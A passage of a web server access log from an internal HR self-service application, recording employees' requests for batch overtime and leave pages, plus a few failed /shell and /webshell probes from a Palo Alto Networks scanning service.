HTTP/1.1" 200 4369 192.168.11.104 - - [03/Dec/2025:08:38:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.104 - - [03/Dec/2025:08:38:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [03/Dec/2025:08:38:37 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:38:37 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 100.64.0.1 - - [03/Dec/2025:08:39:11 +0800] "GET /shell HTTP/1.1" 404 203 100.64.0.1 - - [03/Dec/2025:08:39:11 +0800] "GET /shell HTTP/1.1" 404 203 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 192.168.11.104 - - [03/Dec/2025:08:39:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:39:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.104 - - [03/Dec/2025:08:39:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:39:54 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [03/Dec/2025:08:40:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8785869421395937 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:40:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8785869421395937 HTTP/1.1" 200 8988 192.168.11.104 - - [03/Dec/2025:08:40:25 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8785869421395937 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8785869421395937" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:40:25 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8785869421395937 HTTP/1.1" 200 27500 192.168.11.104 - - [03/Dec/2025:08:41:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4281 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:41:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4281 192.168.11.104 - - [03/Dec/2025:08:41:14 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:41:14 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.11.104 - - [03/Dec/2025:08:41:14 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:41:14 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.11.104 - - [03/Dec/2025:08:41:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:41:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [03/Dec/2025:08:41:42 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.660263153152784 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:41:42 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.660263153152784 HTTP/1.1" 200 8988 192.168.11.104 - - [03/Dec/2025:08:41:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.660263153152784 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.660263153152784" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:41:49 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.660263153152784 HTTP/1.1" 200 27500 192.168.11.104 - - [03/Dec/2025:08:42:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4280 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:42:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4280 192.168.11.104 - - [03/Dec/2025:08:42:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:42:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [03/Dec/2025:08:42:40 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4566626005776532 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:42:40 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4566626005776532 HTTP/1.1" 200 8988 192.168.11.104 - - [03/Dec/2025:08:42:43 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4566626005776532 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4566626005776532" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:42:43 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4566626005776532 HTTP/1.1" 200 27500 192.168.11.104 - - [03/Dec/2025:08:43:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:43:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.11.104 - - [03/Dec/2025:08:43:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:43:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [03/Dec/2025:08:43:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.25914895888793266 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:43:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.25914895888793266 HTTP/1.1" 200 8988 100.64.0.1 - - [03/Dec/2025:08:43:56 +0800] "GET /webshell HTTP/1.1" 404 206 100.64.0.1 - - [03/Dec/2025:08:43:56 +0800] "GET /webshell HTTP/1.1" 404 206 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 192.168.11.104 - - [03/Dec/2025:08:43:52 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.25914895888793266 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.25914895888793266" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:43:52 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.25914895888793266 HTTP/1.1" 200 27500 192.168.11.104 - - [03/Dec/2025:08:44:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4483 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:44:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4483 192.168.11.104 - - [03/Dec/2025:08:44:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:44:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [03/Dec/2025:08:44:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:44:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 192.168.11.104 - - [03/Dec/2025:08:44:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 17366 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:44:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 17366 192.168.11.104 - - [03/Dec/2025:08:44:42 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:44:42 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.11.104 - - [03/Dec/2025:08:44:42 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:44:42 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.11.104 - - [03/Dec/2025:08:46:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [03/Dec/2025:08:46:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [03/Dec/2025:08:48:43 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:48:43 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.70 - - [03/Dec/2025:08:48:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:48:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.70 - - [03/Dec/2025:08:48:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:48:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.70 - - [03/Dec/2025:08:48:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:48:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.70 - - [03/Dec/2025:08:49:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:49:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [03/Dec/2025:08:49:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:49:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [03/Dec/2025:08:49:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:49:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [03/Dec/2025:08:50:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.02667270829408408 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:50:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.02667270829408408 HTTP/1.1" 200 13560 192.168.11.70 - - [03/Dec/2025:08:50:24 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.02667270829408408 HTTP/1.1" 200 15741 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.02667270829408408" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:50:24 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.02667270829408408 HTTP/1.1" 200 15741 192.168.11.70 - - [03/Dec/2025:08:50:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:50:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.11.70 - - [03/Dec/2025:08:51:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:51:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [03/Dec/2025:08:52:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:52:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [03/Dec/2025:08:52:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13502229096199225 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:52:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13502229096199225 HTTP/1.1" 200 13560 192.168.11.70 - - [03/Dec/2025:08:52:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13502229096199225 HTTP/1.1" 200 15762 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13502229096199225" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:52:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13502229096199225 HTTP/1.1" 200 15762 192.168.11.70 - - [03/Dec/2025:08:52:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4219 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:52:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4219 192.168.11.70 - - [03/Dec/2025:08:52:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:52:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.70 - - [03/Dec/2025:08:52:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:08:52:50 +0800] "GET 